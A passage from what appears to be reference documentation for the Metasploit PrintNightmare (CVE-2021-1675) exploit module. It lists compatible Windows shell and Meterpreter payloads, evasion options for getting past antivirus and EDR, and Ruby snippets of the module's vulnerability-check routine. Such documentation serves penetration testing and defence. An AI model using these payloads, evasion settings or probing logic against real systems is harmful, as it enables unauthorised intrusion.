   88   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   89   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   90   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   91   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   92   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   93   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   94   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   95   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   97   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   99   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   102  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   103  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   104  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   105  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   106  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   107  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   108  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   109  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   110  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   111  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   112  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   113  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   114  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   116  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   117  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   118  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   119  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   120  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   121  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   122  payload/windows/pingback_bind_tcp                                            normal  No     Windows x86 Pingback, Bind TCP Inline
   123  payload/windows/pingback_reverse_tcp                                         normal  No     Windows x86 Pingback, Reverse TCP Inline
   124  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   125  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   126  payload/windows/powershell_reverse_tcp_ssl                                   normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   127  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   128  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   129  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   130  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   131  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   132  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   133  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   134  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   135  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   136  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   137  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   138  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   139  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   140  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   141  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   142  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   143  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   144  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   145  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   146  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   147  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   148  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   149  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   150  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   151  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   152  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   153  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   154  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   155  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   156  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   157  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   158  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   159  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   160  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   161  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   162  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   163  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   164  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   165  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   166  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   167  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   168  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   169  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   170  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   171  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   172  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   173  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   174  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   175  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   176  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   177  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   178  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   179  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   180  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   181  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   182  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   183  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   184  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   185  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   186  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   187  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   188  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   189  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   190  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   191  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   192  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   193  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   194  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   195  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   196  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   197  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   198  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   199  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   200  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   201  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   202  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   203  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   204  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   205  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   206  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   207  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   208  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   209  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   210  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   211  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   212  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   213  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   214  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   215  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   216  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   217  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   218  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   219  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   220  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   221  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   222  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   223  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   224  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   225  payload/windows/x64/pingback_reverse_tcp                                     normal  No     Windows x64 Pingback, Reverse TCP Inline
   226  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   227  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   228  payload/windows/x64/powershell_reverse_tcp_ssl                               normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   229  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   230  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   231  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   232  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   233  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   234  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   235  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   236  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   237  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   238  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   239  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   240  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   241  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   242  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   243  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   244  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   245  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   246  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   247  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   248  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   249  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   250  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   251  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   252  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/dcerpc/cve_2021_1675_printnightmare exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > show evasion

Module evasion options:

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   DCERPC::fake_bind_mult  true             no        Use multi-context bind calls
   i
   DCERPC::fake_bind_mult  0                no        Set the number of UUIDs to append the targe
   i_append                                           t
   DCERPC::fake_bind_mult  0                no        Set the number of UUIDs to prepend before t
   i_prepend                                          he target
   DCERPC::max_frag_size   4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio      rw               no        Use a different delivery method for accessi
                                                      ng named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pip  0                yes       Obscure PIPE string in TransNamedPipe (leve
   e_level                                            l 0-3)
   SMB::pad_data_level     0                yes       Place extra padding between headers and dat
                                                      a (level 0-3)
   SMB::pad_file_level     0                yes       Obscure path names used in open/create (lev
                                                      el 0-3)
   SMB::pipe_evasion       false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_siz  1024             yes       Maximum buffer size for pipe reads
   e
   SMB::pipe_read_min_siz  1                yes       Minimum buffer size for pipe reads
   e
   SMB::pipe_write_max_si  1024             yes       Maximum buffer size for pipe writes
   ze
   SMB::pipe_write_min_si  1                yes       Minimum buffer size for pipe writes
   ze
   TCP::max_send_size      0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay         0                no        Delays inserted before every send.  (0 = di
                                                      sable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to connect to the remote service.


Here is a relevant code snippet related to the "Failed to connect to the remote service." error message:

84:	
85:	  def check
86:	    begin
87:	      connect(backend: :ruby_smb)
88:	    rescue Rex::ConnectionError
89:	      return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
90:	    end
91:	
92:	    begin
93:	      smb_login
94:	    rescue Rex::Proto::SMB::Exceptions::LoginError

Failed to authenticate to the remote service.


Here is a relevant code snippet related to the "Failed to authenticate to the remote service." error message:

90:	    end
91:	
92:	    begin
93:	      smb_login
94:	    rescue Rex::Proto::SMB::Exceptions::LoginError
95:	      return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
96:	    end
97:	
98:	    begin
99:	      dcerpc_bind_spoolss
100:	    rescue RubySMB::Error::UnexpectedStatusCode => e

The 'Print Spooler' service is disabled.


Here is a relevant code snippet related to the "The 'Print Spooler' service is disabled." error message:

98:	    begin
99:	      dcerpc_bind_spoolss
100:	    rescue RubySMB::Error::UnexpectedStatusCode => e
101:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
102:	      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
103:	        print_error("The 'Print Spooler' service is disabled.")
104:	      end
105:	      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
106:	    end
107:	
108:	    @target_arch = dcerpc_getarch

The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>).


Here is a relevant code snippet related to the "The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)." error message:

100:	    rescue RubySMB::Error::UnexpectedStatusCode => e
101:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
102:	      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
103:	        print_error("The 'Print Spooler' service is disabled.")
104:	      end
105:	      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
106:	    end
107:	
108:	    @target_arch = dcerpc_getarch
109:	    # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
110:	    if @target_arch == ARCH_X64

Successfully bound to the remote service.


Here is a relevant code snippet related to the "Successfully bound to the remote service." error message:

110:	    if @target_arch == ARCH_X64
111:	      @environment = 'Windows x64'
112:	    elsif @target_arch == ARCH_X86
113:	      @environment = 'Windows NT x86'
114:	    else
115:	      return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
116:	    end
117:	
118:	    print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")
119:	
120:	    print_status('Enumerating the installed printer drivers...')

t be mapped to a Win32 error code


Here is a relevant code snippet related to the "t be mapped to a Win32 error code" error message:

130:	      p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
131:	      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
132:	    )
133:	
134:	    case add_printer_driver_ex(container)
135:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
136:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
137:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
138:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
139:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
140:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')

Received unknown status code, implying the target is not vulnerable.


Here is a relevant code snippet related to the "Received unknown status code, implying the target is not vulnerable." error message:

131:	      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
132:	    )
133:	
134:	    case add_printer_driver_ex(container)
135:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
136:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
137:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
138:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
139:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
140:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
141:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED

Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.


Here is a relevant code snippet related to the "Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable." error message:

133:	
134:	    case add_printer_driver_ex(container)
135:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
136:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
137:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
138:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
139:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
140:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
141:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
142:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
143:	    end

Received ERROR_BAD_NET_NAME, implying the target is vulnerable.


Here is a relevant code snippet related to the "Received ERROR_BAD_NET_NAME, implying the target is vulnerable." error message:

135:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
136:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
137:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
138:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
139:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
140:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
141:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
142:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
143:	    end
144:	
145:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')

Received ERROR_ACCESS_DENIED implying the target is patched.


Here is a relevant code snippet related to the "Received ERROR_ACCESS_DENIED implying the target is patched." error message:

